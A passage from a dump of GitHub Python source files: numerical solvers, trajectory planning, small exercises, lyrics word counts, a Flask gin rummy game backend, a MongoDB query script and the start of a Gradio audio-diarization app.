+ u_nm1_i)\n\trho_n_m = 1/2 * (rho_n_ip1 + rho_n_i)\n#\tparameter for equation\n\ta = dt\n\tb = dz\n\tc1 = -dt*u_n_i**2 + dz*u_n_i - 2*dz*u_nm1_m\n\tc2 = 2*dt*dp/rho_n_m\n\tc = c1+c2\n\n#\tgeneral solution for quadratic equation\n\tslv_1 = (-b - math.sqrt(b**2 - 4*a*c))/(2*a)\n\tslv_2 = (-b + math.sqrt(b**2 - 4*a*c))/(2*a)\n\n\n\tresult = '%.10f'%max(slv_1,slv_2)\n\n\treturn result\n# solution of enalthpy for single phase energy equation\ndef h_single(h_n_i,h_nm1_ip1,h_nm1_i,u_n_ip1,u_n_i,rho_n_ip1,rho_n_i,dz,dt,q):\n\ta = dt*q/(1/2*(rho_n_ip1 + rho_n_i))\n\tb = dz*(1/2)*(h_nm1_ip1+h_nm1_i) + dt*(1/2)*(u_n_ip1+u_n_i)*h_n_i - dz*(1/2)*h_n_i\n\tc = dz/2 + dt*(1/2)*(u_n_ip1+u_n_i) \n\n\tresult = '%.10f'%((a + b)/c)\n\t\n\treturn result\n\n# solution of enalthpy for two two phase energy equation\ndef h_tw(h_n_i,h_nm1_ip1,h_nm1_i,u_n_ip1,u_n_i,rho_n_ip1,rho_n_i,dz,dt,q,A,dp):\n#\ta = (dt*q +dp*A*dz*(dt+dz))/(1/2*(rho_n_ip1 + rho_n_i)) \n\ta = dt*q/(1/2*(rho_n_ip1 + rho_n_i))\n\tb = dz*(1/2)*(h_nm1_ip1+h_nm1_i) + dt*(1/2)*(u_n_ip1+u_n_i)*h_n_i - dz*(1/2)*h_n_i\n\tc = dz/2 + dt*(1/2)*(u_n_ip1+u_n_i) \n\n\tresult = '%.10f'%((a + b)/c)\n\n\treturn result\n\n# solution of enalthpy for energy equation\ndef h_curr(h_n_i,h_nm1_ip1,h_nm1_i,u_n_ip1,u_n_i,rho_n_ip1,rho_n_i,dz,dt,A_xsc,q):\n#\tvolume heat source\n\tq_v = q/(A_xsc*dz)\n#\taverage field\n\tu_n_m = 1/2 * (u_n_ip1 + u_n_i)\n\trho_n_m = 1/2 * (rho_n_ip1 + rho_n_i)\n\th_nm1_m = 1/2 * (h_nm1_ip1 + h_nm1_i)\n#\tcalculate parameters\n\ta = dz/2 + dt*u_n_m\n\tb = dz*h_nm1_m + (dt*u_n_m - dz/2)*h_n_i \n\tc = dt*dz*q_v/rho_n_m\n\n\tresult = '%.10f'%((b+c)/a)\n\t\n\treturn result\n\n","repo_name":"tzhang0475/pySG","sub_path":"eqsolver.py","file_name":"eqsolver.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44737311062","text":"import scipy.optimize as opt\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nPI = 3.1416\n\n\ndef trajPoly3(var, tf, tetaS, tetaF, velS, velF):\n (a3, a2, a1, a0) = var\n\n eq1 = a0 - tetaS\n eq2 = a0 + a1*tf + a2*tf**2 + a3*tf**3 - tetaF\n eq3 = a1 - velS\n eq4 = a1 + 2*a2*tf + 3*a3*tf**2 - velF\n\n return [eq1, eq2, eq3, eq4]\n\n\ndef trajPoly3Via(var, tf1, tf2, tetaS, tetaV, tetaF, velS, velF):\n (a13, a12, a11, a10, a23, a22, a21, a20) = var\n\n eq1 = a10 - tetaS\n eq2 = a10 + a11*tf1 + a12*tf1**2 + a13*tf1**3 - tetaV\n eq3 = a20 - tetaV\n eq4 = a20 + a21*tf2 + a22*tf2**2 + a23*tf2**3 - tetaF\n eq5 = a11 - velS\n eq6 = a21 + 2*a22*tf2 + 3*a23*tf2**2 - velF\n eq7 = a11 + 2*a12*tf1 + 3*a13*tf1**2 - a21\n eq8 = 2*a12 + 6*a13*tf1 - 2*a22\n\n return [eq1, eq2, eq3, eq4, eq5, eq6, eq7, eq8]\n\n\ndef trajPoly5(var, tf, tetaS, tetaF, velS, velF, accS, accF):\n (a5, a4, a3, a2, a1, a0) = var\n\n eq1 = a0 - tetaS\n eq2 = a0 + a1*tf + a2*tf**2 + a3*tf**3 + a4*tf**4 + a5*tf**5 - tetaF\n eq3 = a1 - velS\n eq4 = a1 + 2*a2*tf + 3*a3*tf**2 + 4*a4*tf**3 + 5*a5*tf**4 - velF\n eq5 = 2*a2 - accS\n eq6 = 2*a2 + 6*a3*tf + 12*a4*tf**2 + 20*a5*tf**3 - accF\n\n return [eq1, eq2, eq3, eq4, eq5, eq6]\n\n\ndef buildGraph(tf1, tf2, firstPoly, SecondPoly5):\n x = np.arange(0, tf1, 0.001)\n y = firstPoly(x)\n plt.plot(x, y)\n\n x = np.arange(0, tf2, 0.001)\n y = SecondPoly5(x)\n plt.plot(x, y)\n\n\ndef saveResult(fileName, tf1, tf2, firstPoly, SecondPoly5):\n buildGraph(tf1, tf2, firstPoly, SecondPoly5)\n plt.savefig(fileName, bbox_inches='tight')\n plt.close(\"all\")\n\n\ndef showResult(setionName, firstEqName, secondEqName, tf1, tf2, firstPoly, SecondPoly5):\n print(setionName)\n\n print(firstEqName)\n print(firstPoly)\n\n print(secondEqName)\n print(SecondPoly5)\n\n buildGraph(tf1, tf2, firstPoly, SecondPoly5)\n plt.show()\n plt.close(\"all\")\n\ndef drawDevoir2():\n # A & B\n tfA = 1\n tetaSA = 2*PI/3\n tetaFA = PI/3\n velSA = 0\n velFA = 0\n accSB = 0\n accFB = 0\n\n # POSITION\n sol3 = opt.fsolve(trajPoly3, (1, 1, 1, 1), (tfA, tetaSA, tetaFA, velSA, velFA))\n posTrajPoly3 = np.poly1d(sol3)\n sol5 = opt.fsolve(trajPoly5, (1, 1, 1, 1, 1, 1), (tfA, tetaSA, tetaFA, velSA, velFA, accSB, accFB))\n posTrajPoly5 = np.poly1d(sol5)\n showResult(\"POSITION\", \"Polynomial order 3:\", \"Polynomial order 5:\", tfA, tfA, posTrajPoly3, posTrajPoly5)\n saveResult('ab_pos.png', tfA, tfA, posTrajPoly3, posTrajPoly5)\n\n # VELOCITY\n velTrajPoly3 = posTrajPoly3.deriv()\n velTrajPoly5 = posTrajPoly5.deriv()\n showResult(\"VELOCITY\", \"Polynomial order 3:\", \"Polynomial order 5:\", tfA, tfA, velTrajPoly3, velTrajPoly5)\n saveResult('ab_vel.png', tfA, tfA, velTrajPoly3, velTrajPoly5)\n\n # ACCELERATION\n accTrajPoly3 = velTrajPoly3.deriv()\n accTrajPoly5 = velTrajPoly5.deriv()\n showResult(\"ACCELERATION\", \"Polynomial order 3:\", \"Polynomial order 5:\", tfA, tfA, accTrajPoly3, accTrajPoly5)\n saveResult('ab_acc.png', tfA, tfA, accTrajPoly3, accTrajPoly5)\n\n # JERK\n jerkTrajPoly3 = accTrajPoly3.deriv()\n jerkTrajPoly5 = accTrajPoly5.deriv()\n showResult(\"JERK\", \"Polynomial order 3:\", \"Polynomial order 5:\", tfA, tfA, jerkTrajPoly3, jerkTrajPoly5)\n saveResult('ab_jerk.png', tfA, tfA, jerkTrajPoly3, jerkTrajPoly5)\n\n\n # C\n tf1C = 1\n tf2C = 1\n tetaSC = PI/3\n tetaVC = 2*PI/3\n tetaFC = PI/6\n velSC = 0\n velFC = 0\n\n # POSITION\n sol3v = opt.fsolve(trajPoly3Via, (1, 1, 1, 1, 1, 1, 1, 1), (tf1C, tf2C, tetaSC, tetaVC, tetaFC, velSC, velFC))\n posTrajPoly3v1 = np.poly1d(sol3v[:4])\n posTrajPoly3v2 = np.poly1d(sol3v[4:8])\n showResult(\"POSITION\", \"Polynomial 1:\", \"Polynomial 2:\", tf1C, tf2C, posTrajPoly3v1, posTrajPoly3v2)\n saveResult('c_pos.png', tf1C, tf2C, posTrajPoly3v1, posTrajPoly3v2)\n\n # VELOCITY\n velTrajPoly3v1 = posTrajPoly3v1.deriv()\n velTrajPoly3v2 = posTrajPoly3v2.deriv()\n showResult(\"VELOCITY\", \"Polynomial 1:\", \"Polynomial 2:\", tf1C, tf2C, velTrajPoly3v1, velTrajPoly3v2)\n saveResult('c_vel.png', tf1C, tf2C, velTrajPoly3v1, velTrajPoly3v2)\n\n # ACCELERATION\n accTrajPoly3v1 = velTrajPoly3v1.deriv()\n accTrajPoly3v2 = velTrajPoly3v2.deriv()\n showResult(\"ACCELERATION\", \"Polynomial 1:\", \"Polynomial 2:\", tf1C, tf2C, accTrajPoly3v1, accTrajPoly3v2)\n saveResult('c_acc.png', tf1C, tf2C, accTrajPoly3v1, accTrajPoly3v2)\n\n # JERK\n jerkTrajPoly3v1 = accTrajPoly3v1.deriv()\n jerkTrajPoly3v2 = accTrajPoly3v2.deriv()\n showResult(\"JERK\", \"Polynomial 1:\", \"Polynomial 2:\", tf1C, tf2C, jerkTrajPoly3v1, jerkTrajPoly3v2)\n saveResult('c_jerk.png', tf1C, tf2C, jerkTrajPoly3v1, jerkTrajPoly3v2)\n\ndef main():\n drawDevoir2()\n\nif __name__ == \"__main__\":\n main()","repo_name":"gortium/LIPWalking","sub_path":"TrajectorySolver.py","file_name":"TrajectorySolver.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13882214683","text":"list1=[]\nnum=int(input(\"Enter a total number of Names \"))\nfor i in range(1,num+1):\n data=input(\"Enter Name\")\n list1.append(data)\nfirst=[x[0] for x in list1]\nlast=[x[-1] for x in list1]\nfor i in range(0,len(list1)):\n print(\"\\'\",first[i], \"\\' is the first character of \",list1[i],\n \" and \\'\",last[i],\"\\'is the last character of \",list1[i])\n\n\n","repo_name":"ayush879/python","sub_path":"m9.py","file_name":"m9.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26649073113","text":"import pandas as pd\nimport nltk\nfrom nltk.corpus import stopwords\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\n\ndecades = [\"1950s\", \"1960s\", \"1970s\", \"1980s\", \"1990s\", \"2000s\", \"2010s\"]\nfor decade in decades:\n file = pd.read_csv('{}_lyrics.csv'.format(decade),encoding ='latin1')\n lyric = file[\"Lyrics\"]\n lyrics = \" \"\n for i in lyric:\n lyrics += str(i)\n\n all_words = lyrics.lower().split()\n #all_words.replace(\"'\",\"\")\n all_words_clean = []\n for word in all_words:\n word = word.replace(\",\",\"\")\n word = word.replace(\"'\", \"\")\n word = word.replace(\"(\", \"\")\n word = word.replace(\")\", \"\")\n word = word.replace(\"'s\", \"\")\n word = word.replace(\"'d\", \"\")\n word = word.replace(\"'ll\", \"\")\n word = word.replace(\"s'\", \"s\")\n all_words_clean.append(word)\n\n print(\"{}: \".format(decade), len(all_words_clean))\n #freq = nltk.FreqDist(all_words_clean)\n #print(freq.most_common(30))\n\n stop_words = set(stopwords.words('english'))\n stop_words_add = [\"like\", \"get\", \"im\", \"oh\", \"dont\", \"know\", \"yeah\", \"baby\", \"youre\", \"got\",\\\n \"cause\", \"one\", \"never\", \"want\", \"go\", \"cant\", \"come\", \"gonna\", \"na\", \"right\",\\\n \"make\", \"way\", \"feel\", \"ever\", \"let\", \"hey\", \"thats\", \"need\", \"ive\", \"wanna\",\\\n \"put\", \"aint\", \"ya\", \"could\", \"lets\", \"feeling\", \"still\", \"la\", \"see\",\\\n \"say\", \"back\", \"take\", \"look\", \"tell\", \"well\", \"getting\", \"things\",\\\n \"really\", \"think\", \"turn\", \"wont\", \"ooh\", \"keep\", \"long\", \"em\", \"shes\", \"said\", \"nananana\",\\\n \"much\", \"youll\", \"whoa\", \"hold\", \"uh-huh\", \"ah\", \"around\", \"theres\", \"da\", \"us\",\\\n \"every\", \"another\", \"give\", \"would\", \"always\", \"ba\", \"mmm...\", \"watch\", \"gotta\", \"dat\",\\\n \"dum\", \"doo\", \"bop\", \"boom\", \"bum\", \"dooby\"]\n stop_words |= set(stop_words_add)\n clean_words = [w for w in all_words_clean if not w in stop_words]\n freq_clean = nltk.FreqDist(clean_words)\n top15_words = freq_clean.most_common(15)\n #print(top15_words)\n\n df = pd.DataFrame(top15_words)\n df.columns = [\"word\", \"count\"]\n #print(df)\n colors = []\n top15_all = [\"love\", \"ill\", \"girl\", \"time\", \"night\", \"heart\", \"good\", \"life\", \"day\", \"little\",\\\n \"dance\", \"tonight\", \"away\", \"stop\", \"world\"]\n\n for word in df[\"word\"]:\n if word in top15_all:\n colors.append(\"#00BEC5\")\n else:\n colors.append(\"#FA8072\")\n\n ax = df.plot(x=\"word\", y=\"count\", color=colors, width=0.8, kind=\"bar\", legend=False, fontsize=25, rot=360)\n ax.set_xlabel(\"\")\n plt.title(\"Top 15 Words of Most Popular Songs' Lyrics in the {} \".format(decade), fontsize=30)\n plt.show()\n\n","repo_name":"keyanyang/blogs","sub_path":"lyrics_words_counts/lyrics_each_decade.py","file_name":"lyrics_each_decade.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3202535390","text":"import sys\nimport math\n\nword = input()\nsum_letters_word = 0\nmax_word = -sys.maxsize\nmax_word_str = ''\n\nwhile word != 'End of words':\n if word == 'End of words':\n break\n sum_letters_word = 0\n for i in range(0, len(word)):\n current_letter = word[i]\n current_num = ord(current_letter)\n sum_letters_word += current_num\n if word[0] == 'a' or word[0] == 'e' or word[0] == 'i' or word[0] == 'o' or word[0] == 'u' or word[0] == 'y' or word[\n 0] == 'A' or word[0] == 'E' or word[0] == 'I' or word[0] == 'O' or word[0] == 'U' or word[0] == 'Y':\n sum_letters_word *= len(word)\n else:\n sum_letters_word /= len(word)\n if sum_letters_word > max_word:\n max_word_str = word\n max_word = sum_letters_word\n word = input()\nprint(f'The most powerful word is {max_word_str} - {max_word}')\n\n","repo_name":"RadkaValkova/SoftUni-Web-Developer","sub_path":"Programming Basics Python/Exam problems/The Most Powerful Word.py","file_name":"The Most Powerful Word.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31057617341","text":"import random\r\nfrom flask import render_template,request,redirect,url_for,flash,session,current_app\r\nfrom flask_login import login_user, current_user, logout_user, login_required\r\nfrom ..models import *\r\nfrom pathlib import Path\r\nimport requests\r\nfrom .forms import *\r\nimport secrets\r\nfrom .methods import *\r\nimport secrets\r\nfrom . import main\r\nfrom flask_login import login_user, current_user, logout_user, login_required\r\nfrom flask_session import Session\r\n\r\n\r\n\r\n#need to take sockets in here with users with events function for connect users\r\n@main.route('/new_game', methods=['GET', 'POST'])\r\ndef new_game():\r\n # define game id\r\n game_id = secrets.token_hex(8)\r\n # shuffle the deck and store in JSON for gamestate\r\n deck = ['AH','2H','3H','4H','5H','6H','7H','8H','9H','TH','JH','QH','KH',\r\n 'AC','2C','3C','4C','5C','6C','7C','8C','9C','TC','JC','QC','KC',\r\n 'AS','2S','3S','4S','5S','6S','7S','8S','9S','TS','JS','QS','KS',\r\n 'AD','2D','3D','4D','5D','6D','7D','8D','9D','TD','JD','QD','KD']\r\n random.shuffle(deck)\r\n player1cards = deck[:10]\r\n player2cards = deck[11:21]\r\n middle_cards = deck[22:23]\r\n player1_score = 0\r\n player2_score = 0\r\n # store the game parameters in JSON\r\n\r\n #take in values from websockets to find the score to\r\n play_to = \"\"\r\n game = {\r\n \"deck\":deck[24:52],\r\n \"player1cards\":player1cards,\r\n \"player2cards\":player2cards,\r\n \"middle_cards\":middle_cards,\r\n \"player1_score\": 0,\r\n \"player2_score\": 0,\r\n \"play_to\":play_to,\r\n \"player1melds\": possible_melds(player1cards),\r\n \"player2melds\": possible_melds(player2cards),\r\n \"player1\":'',\r\n \"player2\":'',\r\n #checking in the knocking screen, if someones score is greater than play to, it will return true\r\n \"endgame\" : False\r\n }\r\n\r\n #find how to connect with websockets with two seperate players\r\n #connect player 1 and player 2 via websockets and store game ID, then redirect to\r\n # /game route for game play\r\n player1 = ''\r\n player2 = ''\r\n\r\n new_game = Game(game_id=game_id, game_data=game)\r\n db.session.add(new_game)\r\n db.session.commit()\r\n if form.validate_on_submit():\r\n session['name'] = form.name.data\r\n session['room'] = form.room.data\r\n return redirect(url_for('.chat'))\r\n elif request.method == 'GET':\r\n form.name.data = session.get('name', '')\r\n form.room.data = session.get('room', '')\r\n return render_template('index.html', game=game)\r\n\r\n\r\n@main.route('/')\r\n@main.route('/online')\r\ndef online():\r\n \"\"\"Chat room. The user's name and room must be stored in\r\n the session.\"\"\"\r\n if current_user.is_authenticated:\r\n session['name'] = current_user.username\r\n name = current_user.username\r\n else:\r\n name = 'Guest' + str(secrets.token_hex(8))\r\n session['name'] = name\r\n # room = session.get('room', '123')\r\n return render_template('online.html', name=name)\r\n\r\n@main.route('/test')\r\ndef test():\r\n\r\n return render_template('testcards.html')\r\n\r\n\r\n\r\n\r\n\r\n#this route handles game and all attributes within, API calls will all happen within this template\r\n@main.route('/game/', methods=['GET', 'POST'])\r\ndef game(game_id):\r\n current_game = Game.query.filter_by(game_id=game_id).first()\r\n player1=current_game.game_data['player1']\r\n player2=current_game.game_data['player2']\r\n deck=current_game.game_data['deck']\r\n session['game_id']=current_game.game_id\r\n game_id=current_game.game_id\r\n room = session.get('room', '123')\r\n return render_template('game.html',game=current_game,\r\n player1=player1,player2=player2,deck=deck,game_id=game_id,room=room)\r\n\r\n\r\n@main.route('/game/draw_card/')\r\ndef draw_card(id):\r\n #model stored for the inital game data\r\n current_game = Game.query.filter_by(game_id=game_id).first()\r\n if request.method == 'POST':\r\n #player name when someone card\r\n #who drew the card on the html needs to be sent back\r\n player_name = request.sid\r\n #Pulling the game JSON out of the game data model so we can manipulate the deck way we want\r\n game_data = current_game.game_data()\r\n player1 = game_data['player1']\r\n player2 = game_data['player2']\r\n #taking the deck out of the JSON from the game data\r\n deck = game_data['deck']\r\n middle_cards = game_data['middle_cards']\r\n player1cards = game_data['player1cards']\r\n player2cards = game_data['player2cards']\r\n player1score = game_data['player1_score']\r\n player2score = game_data['player2_score']\r\n play_to = game_data['play_to']\r\n #we need to define in the frontend which player is which\r\n if player_name == player1:\r\n player1cards.append(deck[0:1][0])\r\n if player_name == player2:\r\n player2cards.append(deck[0:1][0])\r\n #del the card from the deck\r\n del deck[0:1]\r\n #redefine the game json with the updated variables\r\n play_to = request.form['play_to']\r\n game = {\r\n \"deck\":deck,\r\n \"player1cards\":player1cards,\r\n \"player2cards\":player2cards,\r\n \"middle_cards\":middle_cards,\r\n \"player1_score\": player1score,\r\n \"player2_score\": player2score,\r\n \"player1melds\": possible_melds(player1cards),\r\n \"player2melds\": possible_melds(player2cards),\r\n \"player1\":player1,\r\n \"player2\":player2,\r\n \"play_to\": play_to,\r\n \"endgame\" : False\r\n }\r\n current_game.game = game\r\n db.session.commit()\r\n #we return the game json to the front end with the updated values\r\n #in this case we are only sending back player1s cards as they were the only ones to change perhaps\r\n return(game['player1cards'])\r\n\r\n\r\n\r\n#logic after user pulls a card, discard must be written on front end, so if user has 11 cards, logic has to be written on frontend\r\n@main.route('/game/discard/')\r\ndef discard(id):\r\n current_game = Game.query.filter_by(game_id=game_id).first()\r\n if request.method == 'POST':\r\n #we request the players name from the frontend, we define the form as \"discard\"\r\n player_name = request.form[\"discard\"]\r\n #send back the card as a form from the frontend, define as varible card, we look for form\r\n #value 'card'\r\n card = request.form['card']\r\n game_data = current_game.game_data()\r\n player1 = game_data['player1']\r\n player2 = game_data['player2']\r\n deck = game_data.game['deck']\r\n middle_cards = game_data.game['middle_cards']\r\n player1cards = game_data.game['player1cards']\r\n player2cards = game_data.game['player2cards']\r\n player1score = game_data['player1_score']\r\n player2score = game_data['player2_score']\r\n play_to = game_data['play_to']\r\n if player_name == player1:\r\n #remove the variable 'card' from the form taken from the frontend\r\n player1cards.remove(card)\r\n #add the card removed to the middle card list\r\n middle_cards.append(card)\r\n if player_name == player2:\r\n player2cards.remove(card)\r\n middle_cards.append(card)\r\n game = {\r\n \"deck\":deck,\r\n \"player1cards\":player1cards,\r\n \"player2cards\":player2cards,\r\n \"middle_cards\":middle_cards,\r\n \"player1_score\": player1score,\r\n \"player2_score\": player2score,\r\n \"player1melds\": possible_melds(player1cards),\r\n \"player2melds\": possible_melds(player2cards),\r\n \"player1\":player1,\r\n \"player2\":player2,\r\n \"play_to\": play_to,\r\n \"endgame\" : False\r\n\r\n }\r\n current_game.game = game\r\n db.session.commit()\r\n return game\r\n\r\n\r\n@main.route('/game/draw_middle_card/')\r\ndef draw_middle_card(id):\r\n current_game = Game.query.filter_by(game_id=game_id).first()\r\n if request.method == 'POST':\r\n #finding the player who did this action\r\n player_name = request.form[\"draw_card\"]\r\n game_data = current_game.game_data()\r\n player1 = game_data['player1']\r\n player2 = game_data['player2']\r\n #deconstructing the JSON\r\n deck = current_game.game['deck']\r\n middle_cards = current_game.game['middle_cards']\r\n player1cards = current_game.game['player1cards']\r\n player2cards = current_game.game['player2cards']\r\n player1score = game_data['player1_score']\r\n player2score = game_data['player2_score']\r\n play_to = game_data['play_to']\r\n #finding which player did this action\r\n\r\n if player_name == player1:\r\n #appending the middle card to the list\r\n #not defining a card above such as we did with discard\r\n player1cards.append(middle_cards[len(middle_cards)-1:len(middle_cards)])\r\n if player_name == player2:\r\n player2cards.append(middle_cards[len(middle_cards)-1:len(middle_cards)])\r\n del middle_cards[len(middle_cards)-1:len(middle_cards)]\r\n game = {\r\n \"deck\":deck,\r\n \"player1cards\":player1cards,\r\n \"player2cards\":player2cards,\r\n \"middle_cards\":middle_cards,\r\n \"player1_score\": player1score,\r\n \"player2_score\": player2score,\r\n \"player1melds\": possible_melds(player1cards),\r\n \"player2melds\": possible_melds(player2cards),\r\n \"player1\":player1,\r\n \"player2\":player2,\r\n \"play_to\": play_to,\r\n \"endgame\" : False\r\n }\r\n current_game.game = game\r\n db.session.commit()\r\n return game\r\n\r\n\r\n\r\n\r\n@main.route('/new_deal', methods=['GET', 'POST'])\r\ndef new_deal(id):\r\n current_game = Game.query.filter_by(game_id=game_id).first()\r\n # shuffle the deck and store in JSON for gamestate\r\n deck = ['AH','2H','3H','4H','5H','6H','7H','8H','9H','TH','JH','QH','KH',\r\n 'AC','2C','3C','4C','5C','6C','7C','8C','9C','TC','JC','QC','KC',\r\n 'AS','2S','3S','4S','5S','6S','7S','8S','9S','TS','JS','QS','KS',\r\n 'AD','2D','3D','4D','5D','6D','7D','8D','9D','TD','JD','QD','KD']\r\n random.shuffle(deck)\r\n player1cards = deck[:10]\r\n player2cards = deck[11:21]\r\n middle_cards = deck[22:23]\r\n player1_score = current_game.game['player1score']\r\n player2_score = current_game.game['player2score']\r\n # store the game parameters in JSON\r\n\r\n #take in values from websockets to find the score to\r\n play_to = current_game.game['play_to']\r\n game = {\r\n \"deck\":deck[24:52],\r\n \"player1cards\":player1cards,\r\n \"player2cards\":player2cards,\r\n \"middle_cards\":middle_cards,\r\n \"player1_score\": player1_score,\r\n \"player2_score\": player2_score,\r\n \"play_to\":play_to,\r\n \"player1melds\": possible_melds(player1cards),\r\n \"player2melds\": possible_melds(player2cards),\r\n #checking in the knocking screen, if someones score is greater than play to, it will return true\r\n \"endgame\" : False\r\n }\r\n return render_template('index.html', game=game)\r\n\r\n\r\n@main.route('/game/knock/')\r\ndef knock(id):\r\n current_game = Game.query.filter_by(game_id=game_id).first()\r\n #initilze points for each user for this round to 0\r\n knocker_points = 0\r\n opponent_points = 0\r\n if request.method == 'POST':\r\n #finding the player who did this action\r\n knock_name = request.form[\"knock\"]\r\n #player hand should be of JSON format {meld1:[CA,CA,CA], meld2: [CA,CA,CA,CA], meld3: [] , deadwood:[CA,CA,CA]}\r\n knocker_hand = request.form[\"cards\"]\r\n opponent_hand = request.form[\"opponent_hand\"]\r\n #if there is no deadwood, player has called gin\r\n if len(knocker_hand['deadwood']) == 0:\r\n knocker_points = 25 + count_cards(opponent_hand['deadwood'])\r\n\r\n\r\n else:\r\n if len(knocker_hand['meld1']) == 3:\r\n possible_melds = possible_melds(knocker_hand['meld1']+ opponent_hand['deadwood'])\r\n if possible_melds[0] == knocker_hand['meld1']:\r\n pass\r\n else:\r\n for meld in possible_melds:\r\n for card in meld:\r\n if card in opponent_hand['deadwood']:\r\n opponent_hand['deadwood'].remove(card)\r\n\r\n\r\n if len(knocker_hand['meld2']) == 3:\r\n possible_melds = possible_melds(knocker_hand['meld2']+ opponent_hand['deadwood'])\r\n if possible_melds == knocker_hand['meld2']:\r\n pass\r\n else:\r\n for meld in possible_melds:\r\n for card in meld:\r\n if card in opponent_hand['deadwood']:\r\n opponent_hand['deadwood'].remove(card)\r\n\r\n\r\n if len(knocker_hand['meld3']) == 3:\r\n possible_melds = possible_melds(knocker_hand['meld3']+ opponent_hand['deadwood'])\r\n if possible_melds == knocker_hand['meld3']:\r\n pass\r\n else:\r\n for meld in possible_melds:\r\n for card in meld:\r\n if card in opponent_hand['deadwood']:\r\n opponent_hand['deadwood'].remove(card)\r\n\r\n #logic had to be added for your animations, showing who won and lost, after this stage\r\n if count_cards(knocker_hand['deadwood']) > count_cards(opponent_hand['deadwood']):\r\n knocker_points = count_cards(knocker_hand['deadwood']) - count_cards(opponent_hand['deadwood'])\r\n\r\n\r\n if count_cards(knocker_hand['deadwood']) < count_cards(opponent_hand['deadwood']):\r\n opponent_points = (count_cards(opponent_hand['deadwood']) - count_cards(knocker_hand['deadwood']))\r\n opponent_points = knocker_points + 10\r\n\r\n\r\n if count_cards(knocker_hand['deadwood']) == count_cards(opponent_hand['deadwood']):\r\n pass\r\n\r\n\r\n game_data = current_game.game_data()\r\n player1 = game_data['player1']\r\n player2 = game_data['player2']\r\n #deconstructing the JSON\r\n player1score = game_data['player1_score']\r\n player2score = game_data['player2_score']\r\n\r\n if knock_name == player1:\r\n player1score = player1score + knocker_points\r\n player2score = player2score + opponent_points\r\n\r\n\r\n if knock_name == player2:\r\n player2score = player2score + knocker_points\r\n player1score = player1score + opponent_points\r\n\r\n\r\n if player1score > current_game.game['play_to']:\r\n endgame == True\r\n if player2score > current_game.game['play_to']:\r\n endgame == True\r\n else:\r\n endgame == False\r\n\r\n\r\n if endgame == False:\r\n game = {\r\n \"deck\":[],\r\n \"player1cards\":[],\r\n \"player2cards\":[],\r\n \"middle_cards\":[],\r\n \"player1_score\": player1score,\r\n \"player2_score\": player2score,\r\n \"player1\":player1,\r\n \"player2\":player2,\r\n \"play_to\": play_to,\r\n \"endgame\" : False\r\n }\r\n current_game.game = game\r\n db.session.commit()\r\n return render_template('new_deal.html')\r\n\r\n\r\n if endgame == True:\r\n game = {\"player1_score\": player1score,\r\n \"player2_score\": player2score,\r\n \"play_to\": play_to}\r\n current_game.game = game\r\n db.session.commit()\r\n return render_template('gameover.html')\r\n\r\n\r\n\r\n\r\n","repo_name":"murrayware/ligin","sub_path":"application/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30167170786","text":"from pymongo import MongoClient\n\n# Connect to MongoDB installed on the locahost\nclient = MongoClient(port=27017)\nDB = client.get_database('Airbnb_2')\ncollection = DB.get_collection('testCollection')\nprint(\"Connected to \",DB)\n\n# 12. Find Host which are verified by Email and Phone both and have identity verified\n\ncountry_code = input(\"Enter the country code\")\ncity = input(\"Enter the City\")\n#verified_type = input(\"Verified Type\")\nrecord_count = int(input(\"Number of records to output\"))\n\nquery = {'country_code' : country_code, 'city' : city, 'host_identity_verified': \"True\",\n 'host_verifications' : {\"$all\" : ['email','phone']}}\n\ncursor = collection.find(query,{'_id':0,'listing_url':1,'host_verifications':1}).limit(record_count)\n\nprint(\"Found \",cursor.count(),\" Records\")\n\nfor record in cursor:\n print(record)\n","repo_name":"panpaliyat/Airbnb_NoSQL","sub_path":"Queries/FindByVerifiedType_11.py","file_name":"FindByVerifiedType_11.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"38076793051","text":"from typing import List\n\nclass Solution:\n def combinationSum2(self, candidates: List[int], target: int) -> List[List[int]]:\n res = []\n candidates.sort() # sort the candidates\n\n def search(cand: List[int], stk: List[int], target: int) -> None:\n i, n = 0, len(cand)\n while i < n:\n if cand[i] > target:\n # as the cand is sorted, no further elements will be included.\n return \n if cand[i] == target:\n # as the cand is sorted, only this element will be included\n res.append(stk + [cand[i]])\n return \n else:\n # this handles the case where cand[i] is included.\n search(cand[i+1:], stk + [cand[i]], target-cand[i])\n \n # if cand[i] is already included as the first element, there is no reason\n # to include any i' > i s.t. cand[i']==cand[i] because any sequence starting\n # from cand[i'] must have been considered.\n j = i + 1\n while j < n and cand[j] == cand[i]:\n j += 1\n i = j\n \n search(candidates, [], target)\n \n return res","repo_name":"Rui-Wang-813/RUIX","sub_path":"code_problems_set1/0040_Combination_Sum_II/ruix.py","file_name":"ruix.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41269465139","text":"import os\r\nimport sys\r\nimport gradio as gr\r\nimport der.globals\r\nfrom tqdm import tqdm\r\n\r\ncur_dir = os.getcwd()\r\nsys.path.append(cur_dir)\r\n\r\nfrom der.utils import HTML, argument_parser, convert_to_mono, load_audio, \\\r\n load_diarization, dump_rttm, read_segments_from_rttm, save_combined_audio\r\n\r\nos.environ['GRADIO_SERVER_PORT'] = '4444'\r\n\r\nOUTPUTS_DIR = os.path.join(cur_dir, 'outputs')\r\n\r\nos.makedirs(OUTPUTS_DIR, exist_ok = True)\r\n\r\nTITLE = 